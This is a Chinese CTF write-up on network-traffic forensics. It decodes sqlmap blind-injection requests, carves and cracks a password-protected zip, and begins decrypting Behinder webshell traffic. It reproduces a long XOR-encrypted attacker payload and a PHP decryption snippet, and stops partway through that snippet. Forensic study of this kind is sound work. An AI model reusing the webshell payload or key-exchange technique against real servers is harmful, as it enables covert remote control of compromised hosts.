前言

前段时间，在一个群里面有两个人同时把两道流量分析题发出来，我做了一下感觉这两道题的质量很不错，所以就分享一下wp给大家，希望对大家有帮助。

题目附件我分享一下

链接:https://pan.baidu.com/s/1n_Q4pRgt0_GF-8n5Nop9fA 密码:5p76

Traffic.pcapng——一个10M的大小流量包

直接过滤http协议，可以看出这个流量包捕捉的是数据库注入流量

直接去分析一波，发现是用盲注的方式注入，由于本人盲注的技术太菜了，是菜鸡，所以请了一位大佬9u4ck给我一番的教程指导我才明白，大佬yyds

直接把http协议里面的所有包都全复制到txt文件里面

然后我们过滤掉一下无用的，提取关键的语句即可(写的垃圾脚本)


但是这个url编码还是存在，于是url解码(http://www.jsons.cn/urlencode/)

然后将解码后的字符复制过来

从测试的语句中就可以看出，使用的是sqlmap测试的，于是我们直接看关键的，直接跳过数据库表名等，直接看看flag

如图，我们简单的判断

再继续细化，以免看的太乱

再简单的分析，简单的说，各函数的意思不细讲

第一个语句:判断lag表的第一个字符是否大于64，显然是大于64，因为第二条语句就判断是否大于96，如果是小于64的话就不会去判断是否大于96了，接着第三条语句判断了是否大于112，显然我们可以从第二第三条语句知道，flag的第一个字符的 ascii码是大于96的，从第四条语句中又可以判断出第一个字符是小于112的，因为大于112不成立所以才需要往更小的值判断，同理通过第五条语句可判断出第一个字符是小于104的，因为第五条语句是跟100比较，只有比104小才需要去跟100比较，同理第六条语句可同理判断出flag的的第一个字符是大于100的，接着第七条语句判断 是否大于101，显然是大于101的，因为小于了102不成立后才去验证是否大于101， 验证完了，即下一步，那就说明flag的第一个字符一定大于101，但是大于102不成立，因为倒数一句不成立才进行最后一句，简单的说就是慢慢的缩小范围，就类似于二分法，所以就可以从这两个语句判断出，flag的第一个字符就是 102 ，对应的字符就是 f

接着运用同样的分析方式去分析第二个字符

同样为了方便看清楚，只提取了重要的内容

利用以上的分析方法，再简单的叙述，第二个字符大于96，因为如果不大于就不会 再去是否大于112，而是应该去判断是否大于64之类的，同理可判断这个字符(第二 个字符)是小于112的，接着这个字符应该是大于104的，继续判断，这个字符大于 108是不满足的，大于106的满足，最后大于107是满足呢还不是不满足，这都可以 说的通，于是就产生分歧了，因为这个字符是107满足我们分析，但是这个字符是 108也会满足我们的分析，这里最后选择108，因为108对应的是字母 l ，结合第一个 字母 f，连接起来就是 fl ，也就是flag的前两个字母

紧接着继续分析第三个字符

直接看出来，大于96，小于112，小于104，小于100，小于98，最后可以确定等于 97，因为大于96，小于98，利用以上的猜测，结果就是 97 ，即字母 a ，也就是前 三个字符是 fla ，不用看，直接猜测下一个字符就是g

同理，第四个字符，大于96，小于112，小于104，大于100，大于102，所以就是 103，即 g

第五个字符，不再过多的叙述，就是 123 ，即 { ，所以得出flag前五个字符就是 flag{

第六个字符为:101或者102，这里选102，即 f ， flag{f

第七个字符:97 即 a ， flag{fa

第八个字符:107即 k ， flag{fak ，flag有k这个字符吗，显然应该是不对的，flag 内容一般是[0-9a-f ]和-

第九个字符:101即 e ， flag{fake

第十个字符:101或者102，这里选择102即 f ， flag{fakef

第十一个字符:108即 l ， flag{fakefl

以下不再截图，因为都一样，直接上最后的flag

flag{fakeflag2333333333333}

你可能会问为什么没有第28个字符，从最后的判断就知道不存在第28个字符

其实有一些是最后得出flag才去做出更好的选择的，比如fakeflag，因为一开始我得到的是flag{fakeekag2333333333333}，最后回头慢慢更改，个人能力问题吧，判断存在误差也是可以理解的

可惜得出的flag是一个假flag，接着继续往下解
在第18918个包用追踪http流查看到里面有一个flag.txt和一个pk，大概是一个压缩包里面有一个txt文本吧，但是后面又有一句话，不知道是什么意思

hint:I love six GOD.

然后保存文件选择显示分组字节流和点击save as，必须用这个操作才能不会出现文件十六进制那些可见字符被更改为2E

并且把红色框圈住的都直接删了并补上zip的头

就是这样，然后改后缀名为zip解压发现有密码，经过测试不是伪加密，是真的加密了，拿出我最喜欢的爆破ZIP工具PRTK

直接秒破，密码为123456


好家伙，这又是一个假flag，一道题目两个假flag，这人有点。。。。。。，但是它提示了Do U know bingxie???难道就是传说中的冰蝎流量解密？

然后在第19219个包并追踪HTTP流里面发现了有一大串base64编码

base64编码如下：

U@B\BFIRL[X@]n]UQZE hI_[ZyGZ\L9>qWkCZYP^tsY'7C>nXblz^s |CaWhGn|_Fcd]R!eV z \\sBvIp_!uohbedkY)XU hV}{Yi []|1
-~]_\r}Yc]da.z.qw[]_}a]R*%r.qtKqpVXg|Cj.
ob]sIE[9Ty(@ yjal[g[/%a qpCwCzpssR*%a)zx
qs_[[(%W=TJ]twW ]wkA,%7l]|lywsIE^ v+N	xqwrVpw^X(%a)zx
hgrZZ`L(>@,'PxTqwrVpssR eR asFqwaKttA{ r-z{
bcKKchA{ r-zxTqwrVZ]d>y-~UYZrsV[:@(z]\sjEvs
C03W-0surMDZZ`L(2@,'PxTqwq}aB'7C nY\s_G[Yp[9>a=TMg\|z^sx| _U hVTqwrVsxB*"nwEZZj^sV\P.
ob]uI1V21Rl]twaKtcY'7\-zxTr|~IptR1}W`\recY)D>sAtM
{k e6f(zkI\|zAvG~*%r-~U^swaKtcs35r	
kJsl@zYsR*%r-zxT[Ye]hx@*%a)mJ}{]rVpsp91K>aJ}{]rVpssR*%rTo\lyDpw^_TP/z]\sjEvsQF)TW@EkaW~mxs)D	
kJs`@zYsR*%q[ hI
|eC\]g_!_P{XbcKtXh{Z)!aPR}{Z@zYsR*%r	>TU@bl~Vicp] y
o XYci\rx|_:1	ap\rsaAZYYF*!uTsuzpssR*%r-zx]t]PB}a]R*%r-zxTqwPDuYQ{ r-zxCs`@zYsR*%q
s_ac}^psU^9_>atTal~VswhE!f-qJ}{]rVpssR*%r/~UI`aAZYU\)!aPXbY_Bcc{E(5rM-~k_ZraHcggZ*a	apErsiA[wg\(5rT-qoFZs_DXIU\)!aPXbY_Bcc{E,)-zxTq|zYsR*%q>ak[YVZ]^>z.~kC[]X}aB'7\,'TcZY}Xg@*!
n\rsGcwgF*%a=ak\qpVpY\/%r	= F\seD]ss*%z(zxXa[YZ^|Y%r[-zpZsez\G~ 5a=ak\hcW]]wV\W}RP^X[suXsY'7\-zxTr|y]ZdF%r[-~J[YursY'7\-zxTYcjVrs`B:>a-}	
qwzDpYY{ r-zxTqwrVsxp]!T4j{]bla[]cZ(2@,'PxTqwqK]^:TT/zkGZa]rcp'7\-zxTqwrVpw|] Tf-TAC[bXvW~*%r-zxTqwrVpssR)!u|cCZseKptR T}
TkC[]TZZwt%XU hVTqwrVpssR*%r-zxXZy@hhxL*"=asJalX^rdA{ r-zxTqwrVpssR*!iTo[aTVrs`]!K%nA_[MqYZIs^9_>l[ZcfApxA{ r-zxTqwrVpssR*%r-zxXbZeB[vp]!T4jxX[suXss@*%anA_lYuEcdA{ r-zxTqwrVpssR*%r-z{Cb]r^pgh}Rn F`eXh| TnsUa
D]]dL 
TwEbs_DcI{E(7)-zxTqwrVpssR*%r-zxTq|@zYsR*%r-zxTqwrVpssR*%r-zk^YcK]m]tA92>akgaci]l`L(%anA_lYuEccY'7\-zxTqwrVpssR*%r-zxT^ezpssR*%r-zxTqwrVpssR*!el}{]rVpssR*%r-zxTqwrVpsp'7\-zxTqwrVpssR*%r-zxT{ga\XgJY7u>mGaX
[[9>yR<oFa
ZXg[(%anA_lYuEccER)We76P	rMDV[gxS9!eR>nw`eD`^1/zk^YcK]m]tA95D-Uofj]uuVv0z/mJ}{]rVpssR*%r-zxTqwrVpsp'7\-zxTqwrVpssR*%r-zxTrs
XXYs*!uTsuzpssR*%r-zxTqwrVpssR*%r-zxZZYuEcc{R32=TIb`jad@:T
	>j^XbY_Bce]1f(x	xqwrVpssR*%r-zxTqwrVpssR*%rUbgzVidR:u>m``eD`^95[nA_[_ccU^9e{[\sTArcE{ r-zxTqwrVpssR*%r-zxTqwrVp]J] Ua,kCbY_]cs{R32=TIb`jad@:T
	>jQXala]rsxo/1>z{zwYXZI{F*!i~oG\s_EccU^9e{[\sTArcY{ r-zxTqwrVpssR*%r-zxCwCzpssR*%r-zxTqwrVpssR*%a=TIQqZq]Z]\;5r[-~UI`y]`g`]:K/zk^\cKBlwt%X(PxZtwzVuYpE W
QTUacyBccU^9e{[\sTApsR*D-zTYl}WchZY:UeR=ns@bgTZc^dF q
 ~^CwCzpssR*%r-zxTqwrVpssR*!_-zQC[
\XgJY(%a nA@msuXsYE*.@,'PxTqwrVpssR*%r-zxTqwrVpssR)!
UJZ\|_FccxQ*"=TIb`jad@:T
	>j^ZbY_Bcc{E,)-zxTqwrVpssR*%r-zxTq|VcgJO95qU hVTqwrVpssR*%r-zxTqwrVpssR*%a=TIQqZaZwg\;5r[-~s[[fwvY}>~l\qYaAZ]d_!
jpCwCzpssR*%r-zxTqwrVpssR*.,'PxTqwrVpssR*%r-zxTqwqYZ^x]0
 aw\swaG`]Bw z-zkEaY\AvG~*%r-zxTqwrVpssR7)-zxTqwrVpssR*%r.qs_[eB]vA\ Ua
 qoIqXVicp\:>}*SkUbc[[`Y(%y nwYbl}KpYY'7\-zxTqwrVpssR*%r	ToI\cKnIxA TP<jx
qsyYZg- 
TwEbsf^X^|C

TwEbsf^sw\uPRCwCzpssR*%r-zxTqwrVcg|ZqTwJ]lqrwBOT>nYZa]rs`L9>}SqhCtwrZa|s6W}(0	Qr@_acY'7\-zxTqwrVpssR*%qTo[YN@zYsR*%r-zxTauKccs\ T[ @p|e\VpssR*%r-zxTqwrZ`@!e qtThgq\XgJY;TW  YZcg T	~YwXpssR*%r-zxTqwrVpssR'7\-zxTqwrVpssR*%r	ToI\cKnIxO!uR atZ`grpwx] TfP* _ZY}GcwgZ*}S=w_[~XrdA{ r-zxTqwrVpssR*!_-zQ^\c[]w^C

~UI\|~^p]\;T}Wc_[ZaWcg_TaTZZsgXzYsR*%r-zxTqwrVpxA{ r-zxTqwrVpssR*%r-z{Cb]r^sw|Z:>y>ah
hgzXra~*%r-zxTqwrVpssR*%r-qJ}{]rVpssR*%r-zxTqwrVpssR*%r.~w\alyKchcR35q=U Xbla]``S91kCZYP^sw|CaWkItwqYZ^x]5T,'PxTqwrVpssR*%r-zxTqwrVpssR*%r-z]{i^zKtd{[/')-zxTqwrVpssR*%r-zxTqwrVpssR*%r.	]pkMPB}a]R*%r-zxTqwrVpssR*%r-zxTqwrVpss[50a%(m|rMDzYsR*%r-zxTqwrVpssR*%r-zxTqwrVpsVc2W~)PZ@|e\VpssR*%r-zxTqwrVpssR*%r-zxTqwr_of`r/2T(x	xqwrVpssR*%r-zxTqwrVpssR*%r-zxTry{kJg[/')-zxTqwrVpssR*%r-zxTqwrVpssR*%r.	gi_{sG~*%r-zxTqwrVpssR*%r-zxTqwrArdA{ r-zxTqwrVpssR*%r-z{
|e\VpssR*%r-zxTqwrVpssR).y
o@\r@X[h|[*
4j{Zal}]wZ`S91k_ssXa|CiWkUbc[[`EP.~wEZZa][^`O/%r2oktt`TXuss^:T[
Ww_\wXAvG~*%r-zxTqwrVpssR7)-zxTqwrVpssR*%r>nAIbezpssR*%r-zxTqwrV\G~*%r-zxTqwrVpssR*%r-~U^qwTZ`Z] } }	
q]zA}a]R*%r-zxTqwrVpssR*%rN	xqwrVpssR*%r-zxTqwrVpssR*%r	ToI\cKnIxA TP<jx
qsyYZg- 
TwEbsf^cd6Tu>ow[]TZ`@!e qtCs`@zYsR*%r-zxTqwrVpssR*%q[ hVTqwrVpssR*%r-zxTqwrVcgJO97)-zxTqwrVpssR*%r-zxTq|@zYsR*%r-zxTqwrVpssR*%r-zxTr|y]ZdF @aw]qXVicp\:>}*SkUbc[[`Y(!_swa[XwtL TeR(zx]\la\udUC/V_*0R `jgPBps`_TR>n[MXAvG~*%r-zxTqwrVpssR*%r-q	}{]rVpssR*%r-zxTqwrVpss{ r-zxTqwrVpssR*.,'PxTqwrVpssR*%r-zkJbl} [xcR35qTwJ]lqrwBOT>nYZa]rs`L9>}SqhCtwaWl da6V_20UJ]YMWUrdA{ r-zxTqwrVpssR*!e~Tr|y]ZdF"@,'PxTqwrVpssR*%r-~sJbcuCvG~*%r-zxTqwq[`h|Y*%y	
]FZs
Ycs{'7\-zxTqwrVpssR*%q>Px\qgq\XgJY;TeVaw[MTZZwt%X-qJ}{]rVpssR*%r-zxTqwrVpspZ91u	>ap\r[dovsC.5-}hDvwq~mcR1
40Rh]s`@zYsR*%r-zxTqwrVpxR91K>j{|e\VpssR*%r-zxTqwrVpssR)!i~lThgq\[pYT	~YwDVp^x\*XU hVTqwrVpssR*%r-zxTqwrVcg|ZqTo[bwTZc]^F95D>TU@bl}A\]gZ).q
 ~^Cs`@zYsR*%r-zxTqwrVpssR*%q=AE[f^swhE!f+N	xqwrVpssR*%r-zxT^ezpssR*%r-zxTqwrV`^xY:1@U hVTqwrVpssR*!}
lTqYa][wd95zT hVTqwrVpssR*%r-z{Cb]r^Xh|S9_>j^X[suXsYE*.@,'PxTqwrVpssR*%r-zxTqwqAcYsZ1nAswaF`h`Z(5XN	xqwrVpssR*%r-zxTqwrVpssR*%r	ToI\cKnIxO!uR atZ`grpwx] TfP* _ZY}GcwgZ*}S=w_[~XrdA{ r-zxTqwrVpssR*%r-zxTqwrVsxxY Ue JZZl}_p\R35q=aw_v^aWcg_Ta/zkDala^psR*d+vTiH{RxRe~z+N	xqwrVpssR*%r-zxTqwrVpxR91K>j{|e\VpssR*%r-zxTqwrVpssR*%r-zkJbl} [x`W*}R=ak[MyUptR:u>m``eD`^95T>TCZwzAvG~*%r-zxTqwrVpssR*%r-zxTqwrZZ]dO1KR3@sG[PXacs*!y
lvr
][]|C9!f.q{[\sTVuYs\V?ZRcTXU`I|aY*XU hVTqwrVpssR*%r-zxTqwrV_a~*%r-zxTqwrVpssR7)-zxTqwrVpssR*%rn`Tss_Ka`E T	~YwXApxA{ r-zxTqwrVpssR*%r-z{XbcKtXh{Z).q
 ~^CwCzpssR*%r-zxTqwrVpssR*%a>awZ|aSp^|:>aS@sWqpV`]tO92jR<oFa
ZccU\ Ue=oI[MzAvG~*%r-zxTqwrVpssR*%r-zkJbl} [x`W*>@sWqpV`]tO92jR<oFa
ZccU^ !uRzZmZVj_^V	Z3Q`HUq]X}a]R*%r-zxTqwrVpsp'7\-zxTqwrVpssR*%q=QEqseD`x  .bWwEZX
][]|C9!f.qs_[eB]sYF) 
66owgka
~nIVG)W+N	xqwrVpssR*%r-zxTaZy]`gA'7\-zxTqwrVpw|] Tf-TwJbcucc{'7\-zxTqwrVpssR*%r	>TU@bgrpwhC !e/zkDala^uss\z+N	xqwrVpssR*%r-zxTrs}G[^`Yb4j{Zal}]wZ`S9!ek_swa[[91R/mJ}{]rVpssR*%r-zxTqsiZ]^95T	>TU@bgDVsw|CaWhCwCzpssR*%r-zxTqwrVc]hF>}/zk^YcK]rdA{ r-zxTqwrVpssR*!i~ IbgTZc]^F95XU hVTqwrVpssR*%r-z{Cb]r^c]^F90
~UI\|~^sxp]!T-z`^qsiA[wdO>C/zkDala^rcs35q qs@bc^sw|CaWhCsgq}a]R*%r-zxTqwrVpssR*%r.qs_[eB]vA\ Ua
 qoIqXVicp\:>}*SkUbc[[`Y(%y nwYbl}KpYY'7\-zxTqwrVpssR*%r-zxTr|y]ZdF @aw]qXVicp\:>}*SkUbc[[`Y(%a=ak\qwVpEa
`ZvnFR{RxR	)ZM
v\\QRfQad	nDhN\XpsR).q
 ~^Tt]q\XgJY T_T>j^X[suXsYE,)-zxTqwrVpssR*%rj{_Z|}]pxA{ r-zxTqwrVpssR*%r-zxX[YeK]gJ4y ~\l~Xacs*!y
lvr
][]|C9!f-Tc[YcDXrdA{ r-zxTqwrVpssR*%r-zxX[YeK]gJ4yZZ`grpwx] TfP* _ZY}GcwgZ).q
 ~^Tt]rX|[~V*JQXjKx`]pYY'7\-zxTqwrVpssR*%q[ hVTqwrVpssR*%r-z{_a[Gpwd@:UyWqh\YZ}G[\Y}>~l\r|y]ZdF%X-zkUmeel ^e7
@@]Ws`@zYsR*%r-zxTqwrVpwxL91u+N	xqwrVpssR*%q=aw_qwyYZxpYb+^	xqwrVpssR*%r-zxTrsiA[wgR35q
{_Z]TZZwt%D-T|Aq]X}a]R*%r-zxTqwrVpss^:T
 ~oF\wrpwx] TfP* Xbc}GcwgZ)!}Wk_ZZbAvG~*%r-zxTqwrVpssR9Wak_swa\XgJY/%r	= F\seD]sY'7\-zxTqwrVpssR*%q=AE[f^swhE!f+N	xqwrVpssR*%r-zxTr|y]ZdF @
k[\|eKp\R35q=aw_v^aWcg_Ta/zsI\c}[ch|O*XU hVTqwrVpssR*%r-zxX[YeK]gJ4yZZ`grpwx] TfP* _ZY}GcwgZ).q
 ~^Tt]rX|V?BQX~[Z`KxU*QPDRy|GV`Q[xw]zVuYs^ !uRzxFqsiA[wdO>C/zkDala^rcY'7\-zxTqwrVpssR*%q=QEqseD`x  .bWwEZX
][]|C9!f.qs_[eB]sYF) 
66owgka
~nIVG)W+N	xqwrVpssR*%r-zxTaZy]`gA'7\-zxTqwrVpw`Y9uSqh|e\VpssR*%r-zxTqwqXZ]d]@,'PxTqwq}aB'7\,'TcZY}Xg@*!e=
s[|b^sw`]!v.~M_]gXz^A{ _>P^[bl[cgO1
<AEaca]csU[UqWwIZwPAra~*%r-xU|e\VpssR 7_
p\rsXttA^2K qs@bc^sw`]!v+@kCsM@ApxA{ r-zxy{eXVsw`]!u .~UWqpVsw`]!u .~UW`]aCch^W)!X)j`Kvbpq~*%r-xRy{lzWY >y qoJZ]rZcwt:2@,'PxTqwr{_a~*%r-~o@[fzYsR*%r(N	xqwrVpqY eR asFqs
FcgO TK>nY[Z_F]sU^9!uR=jNTq_uwlJwL,%z-zkAblXAvG~*%r-xU
|eCswC9!f[-TwJbcucc{).q
 ~^
q_~uV
>nXZcfDw]\,abcicxz.UvVWUYauslf^o-0i1Uqiaushetw23y
5lqiaushetw2Te55Swui_uwh\p]>W2UwpZcuiwgF0 y3UwpZcyyk]e9q.3TYr\K]xdT5!a;2}xlrTKl^^o5WC1]|bYudo]h]5f0mwy]Y~H[xdT.2[V0Rk}]_@jhBX63u!5Riiauc[uhw21}/5oqi__ekexw2>[!5l]kuXtftY.2[ 5lei_Wc] tw23u 5lqiaushetw23u16Up]auyoeto63y5lZDibCchhdw1q 3RqiaurleFw63y0UsJ\qWkc\hw6
e*5oqbushetw23v[-SJ}{YYXgZ)!>~l@r|qY]wUF)!}Wk_ZZbAvGDOY

但这里有一个注意，这些是冰蝎加密的流量，不能直接用普通的base64解码来解，要先用解密流量脚本去跑一下再解码base64

然后这里发现有两个GET请求，我们来分析一下


然后看一下流量包，首先产生了两次密钥 ，通过查询这两个密钥得知是当客户端以GET发起请求并设置了参数pass时，服务端会产生一个16位的随机密钥并写入Session。解密方式是，如果服务端不存在openssl，就用先base64解码，然后使用key进行循环异或加密。

然后开始POST进行攻击 - -

然后就是需要解密一下攻击者POST的内容了。我先试了试使用key进行异或解密：

<?php
    {   
        $key = '84319025cf3bd993';
        $post = 'U@B\BFIRL[X@]n]UQZE hI_[ZyGZ\L9>qWkCZYP^tsY'7C>nXblz^s |CaWhGn|_Fcd]R!eV z \\sBvIp_!uohbedkY)XU hV}{Yi []|1
-~]_\r}Yc]da.z.qw[]_}a]R*%r.qtKqpVXg|Cj.
ob]sIE[9Ty(@ yjal[g[/%a qpCwCzpssR*%a)zx
qs_[[(%W=TJ]twW ]wkA,%7l]|lywsIE^ v+N	xqwrVpw^X(%a)zx
hgrZZ`L(>@,'PxTqwrVpssR eR asFqwaKttA{ r-z{
bcKKchA{ r-zxTqwrVZ]d>y-~UYZrsV[:@(z]\sjEvs
C03W-0surMDZZ`L(2@,'PxTqwq}aB'7C nY\s_G[Yp[9>a=TMg\|z^sx| _U hVTqwrVsxB*"nwEZZj^sV\P.
ob]uI1V21Rl]twaKtcY'7\-zxTr|~IptR1}W`\recY)D>sAtM
{k e6f(zkI\|zAvG~*%r-~U^swaKtcs35r	
kJsl@zYsR*%r-zxT[Ye]hx@*%a)mJ}{]rVpsp91K>aJ}{]rVpssR*%rTo\lyDpw^_TP/z]\sjEvsQF)TW@EkaW~mxs)D	
kJs`@zYsR*%q[ hI
|eC\]g_!_P{XbcKtXh{Z)!aPR}{Z@zYsR*%r	>TU@bl~Vicp] y
o XYci\rx|_:1	ap\rsaAZYYF*!uTsuzpssR*%r-zx]t]PB}a]R*%r-zxTqwPDuYQ{ r-zxCs`@zYsR*%q
s_ac}^psU^9_>atTal~VswhE!f-qJ}{]rVpssR*%r/~UI`aAZYU\)!aPXbY_Bcc{E(5rM-~k_ZraHcggZ*a	apErsiA[wg\(5rT-qoFZs_DXIU\)!aPXbY_Bcc{E,)-zxTq|zYsR*%q>ak[YVZ]^>z.~kC[]X}aB'7\,'TcZY}Xg@*!
n\rsGcwgF*%a=ak\qpVpY\/%r	= F\seD]ss*%z(zxXa[YZ^|Y%r[-zpZsez\G~ 5a=ak\hcW]]wV\W}RP^X[suXsY'7\-zxTr|y]ZdF%r[-~J[YursY'7\-zxTYcjVrs`B:>a-}	
qwzDpYY{ r-zxTqwrVsxp]!T4j{]bla[]cZ(2@,'PxTqwqK]^:TT/zkGZa]rcp'7\-zxTqwrVpw|] Tf-TAC[bXvW~*%r-zxTqwrVpssR)!u|cCZseKptR T}
TkC[]TZZwt%XU hVTqwrVpssR*%r-zxXZy@hhxL*"=asJalX^rdA{ r-zxTqwrVpssR*!iTo[aTVrs`]!K%nA_[MqYZIs^9_>l[ZcfApxA{ r-zxTqwrVpssR*%r-zxXbZeB[vp]!T4jxX[suXss@*%anA_lYuEcdA{ r-zxTqwrVpssR*%r-z{Cb]r^pgh}Rn F`eXh| TnsUa
D]]dL 
TwEbs_DcI{E(7)-zxTqwrVpssR*%r-zxTq|@zYsR*%r-zxTqwrVpssR*%r-zk^YcK]m]tA92>akgaci]l`L(%anA_lYuEccY'7\-zxTqwrVpssR*%r-zxT^ezpssR*%r-zxTqwrVpssR*!el}{]rVpssR*%r-zxTqwrVpsp'7\-zxTqwrVpssR*%r-zxT{ga\XgJY7u>mGaX
[[9>yR<oFa
ZXg[(%anA_lYuEccER)We76P	rMDV[gxS9!eR>nw`eD`^1/zk^YcK]m]tA95D-Uofj]uuVv0z/mJ}{]rVpssR*%r-zxTqwrVpsp'7\-zxTqwrVpssR*%r-zxTrs
XXYs*!uTsuzpssR*%r-zxTqwrVpssR*%r-zxZZYuEcc{R32=TIb`jad@:T
	>j^XbY_Bce]1f(x	xqwrVpssR*%r-zxTqwrVpssR*%rUbgzVidR:u>m``eD`^95[nA_[_ccU^9e{[\sTArcE{ r-zxTqwrVpssR*%r-zxTqwrVp]J] Ua,kCbY_]cs{R32=TIb`jad@:T
	>jQXala]rsxo/1>z{zwYXZI{F*!i~oG\s_EccU^9e{[\sTArcY{ r-zxTqwrVpssR*%r-zxCwCzpssR*%r-zxTqwrVpssR*%a=TIQqZq]Z]\;5r[-~UI`y]`g`]:K/zk^\cKBlwt%X(PxZtwzVuYpE W
QTUacyBccU^9e{[\sTApsR*D-zTYl}WchZY:UeR=ns@bgTZc^dF q
 ~^CwCzpssR*%r-zxTqwrVpssR*!_-zQC[
\XgJY(%a nA@msuXsYE*.@,'PxTqwrVpssR*%r-zxTqwrVpssR)!
UJZ\|_FccxQ*"=TIb`jad@:T
	>j^ZbY_Bcc{E,)-zxTqwrVpssR*%r-zxTq|VcgJO95qU hVTqwrVpssR*%r-zxTqwrVpssR*%a=TIQqZaZwg\;5r[-~s[[fwvY}>~l\qYaAZ]d_!
jpCwCzpssR*%r-zxTqwrVpssR*.,'PxTqwrVpssR*%r-zxTqwqYZ^x]0
 aw\swaG`]Bw z-zkEaY\AvG~*%r-zxTqwrVpssR7)-zxTqwrVpssR*%r.qs_[eB]vA\ Ua
 qoIqXVicp\:>}*SkUbc[[`Y(%y nwYbl}KpYY'7\-zxTqwrVpssR*%r	ToI\cKnIxA TP<jx
qsyYZg- 
TwEbsf^X^|C

TwEbsf^sw\uPRCwCzpssR*%r-zxTqwrVcg|ZqTwJ]lqrwBOT>nYZa]rs`L9>}SqhCtwrZa|s6W}(0	Qr@_acY'7\-zxTqwrVpssR*%qTo[YN@zYsR*%r-zxTauKccs\ T[ @p|e\VpssR*%r-zxTqwrZ`@!e qtThgq\XgJY;TW  YZcg T	~YwXpssR*%r-zxTqwrVpssR'7\-zxTqwrVpssR*%r	ToI\cKnIxO!uR atZ`grpwx] TfP* _ZY}GcwgZ*}S=w_[~XrdA{ r-zxTqwrVpssR*!_-zQ^\c[]w^C

~UI\|~^p]\;T}Wc_[ZaWcg_TaTZZsgXzYsR*%r-zxTqwrVpxA{ r-zxTqwrVpssR*%r-z{Cb]r^sw|Z:>y>ah
hgzXra~*%r-zxTqwrVpssR*%r-qJ}{]rVpssR*%r-zxTqwrVpssR*%r.~w\alyKchcR35q=U Xbla]``S91kCZYP^sw|CaWkItwqYZ^x]5T,'PxTqwrVpssR*%r-zxTqwrVpssR*%r-z]{i^zKtd{[/')-zxTqwrVpssR*%r-zxTqwrVpssR*%r.	]pkMPB}a]R*%r-zxTqwrVpssR*%r-zxTqwrVpss[50a%(m|rMDzYsR*%r-zxTqwrVpssR*%r-zxTqwrVpsVc2W~)PZ@|e\VpssR*%r-zxTqwrVpssR*%r-zxTqwr_of`r/2T(x	xqwrVpssR*%r-zxTqwrVpssR*%r-zxTry{kJg[/')-zxTqwrVpssR*%r-zxTqwrVpssR*%r.	gi_{sG~*%r-zxTqwrVpssR*%r-zxTqwrArdA{ r-zxTqwrVpssR*%r-z{
|e\VpssR*%r-zxTqwrVpssR).y
o@\r@X[h|[*
4j{Zal}]wZ`S91k_ssXa|CiWkUbc[[`EP.~wEZZa][^`O/%r2oktt`TXuss^:T[
Ww_\wXAvG~*%r-zxTqwrVpssR7)-zxTqwrVpssR*%r>nAIbezpssR*%r-zxTqwrV\G~*%r-zxTqwrVpssR*%r-~U^qwTZ`Z] } }	
q]zA}a]R*%r-zxTqwrVpssR*%rN	xqwrVpssR*%r-zxTqwrVpssR*%r	ToI\cKnIxA TP<jx
qsyYZg- 
TwEbsf^cd6Tu>ow[]TZ`@!e qtCs`@zYsR*%r-zxTqwrVpssR*%q[ hVTqwrVpssR*%r-zxTqwrVcgJO97)-zxTqwrVpssR*%r-zxTq|@zYsR*%r-zxTqwrVpssR*%r-zxTr|y]ZdF @aw]qXVicp\:>}*SkUbc[[`Y(!_swa[XwtL TeR(zx]\la\udUC/V_*0R `jgPBps`_TR>n[MXAvG~*%r-zxTqwrVpssR*%r-q	}{]rVpssR*%r-zxTqwrVpss{ r-zxTqwrVpssR*.,'PxTqwrVpssR*%r-zkJbl} [xcR35qTwJ]lqrwBOT>nYZa]rs`L9>}SqhCtwaWl da6V_20UJ]YMWUrdA{ r-zxTqwrVpssR*!e~Tr|y]ZdF"@,'PxTqwrVpssR*%r-~sJbcuCvG~*%r-zxTqwq[`h|Y*%y	
]FZs
Ycs{'7\-zxTqwrVpssR*%q>Px\qgq\XgJY;TeVaw[MTZZwt%X-qJ}{]rVpssR*%r-zxTqwrVpspZ91u	>ap\r[dovsC.5-}hDvwq~mcR1
40Rh]s`@zYsR*%r-zxTqwrVpxR91K>j{|e\VpssR*%r-zxTqwrVpssR)!i~lThgq\[pYT	~YwDVp^x\*XU hVTqwrVpssR*%r-zxTqwrVcg|ZqTo[bwTZc]^F95D>TU@bl}A\]gZ).q
 ~^Cs`@zYsR*%r-zxTqwrVpssR*%q=AE[f^swhE!f+N	xqwrVpssR*%r-zxT^ezpssR*%r-zxTqwrV`^xY:1@U hVTqwrVpssR*!}
lTqYa][wd95zT hVTqwrVpssR*%r-z{Cb]r^Xh|S9_>j^X[suXsYE*.@,'PxTqwrVpssR*%r-zxTqwqAcYsZ1nAswaF`h`Z(5XN	xqwrVpssR*%r-zxTqwrVpssR*%r	ToI\cKnIxO!uR atZ`grpwx] TfP* _ZY}GcwgZ*}S=w_[~XrdA{ r-zxTqwrVpssR*%r-zxTqwrVsxxY Ue JZZl}_p\R35q=aw_v^aWcg_Ta/zkDala^psR*d+vTiH{RxRe~z+N	xqwrVpssR*%r-zxTqwrVpxR91K>j{|e\VpssR*%r-zxTqwrVpssR*%r-zkJbl} [x`W*}R=ak[MyUptR:u>m``eD`^95T>TCZwzAvG~*%r-zxTqwrVpssR*%r-zxTqwrZZ]dO1KR3@sG[PXacs*!y
lvr
][]|C9!f.q{[\sTVuYs\V?ZRcTXU`I|aY*XU hVTqwrVpssR*%r-zxTqwrV_a~*%r-zxTqwrVpssR7)-zxTqwrVpssR*%rn`Tss_Ka`E T	~YwXApxA{ r-zxTqwrVpssR*%r-z{XbcKtXh{Z).q
 ~^CwCzpssR*%r-zxTqwrVpssR*%a>awZ|aSp^|:>aS@sWqpV`]tO92jR<oFa
ZccU\ Ue=oI[MzAvG~*%r-zxTqwrVpssR*%r-zkJbl} [x`W*>@sWqpV`]tO92jR<oFa
ZccU^ !uRzZmZVj_^V	Z3Q`HUq]X}a]R*%r-zxTqwrVpsp'7\-zxTqwrVpssR*%q=QEqseD`x  .bWwEZX
][]|C9!f.qs_[eB]sYF) 
66owgka
~nIVG)W+N	xqwrVpssR*%r-zxTaZy]`gA'7\-zxTqwrVpw|] Tf-TwJbcucc{'7\-zxTqwrVpssR*%r	>TU@bgrpwhC !e/zkDala^uss\z+N	xqwrVpssR*%r-zxTrs}G[^`Yb4j{Zal}]wZ`S9!ek_swa[[91R/mJ}{]rVpssR*%r-zxTqsiZ]^95T	>TU@bgDVsw|CaWhCwCzpssR*%r-zxTqwrVc]hF>}/zk^YcK]rdA{ r-zxTqwrVpssR*!i~ IbgTZc]^F95XU hVTqwrVpssR*%r-z{Cb]r^c]^F90
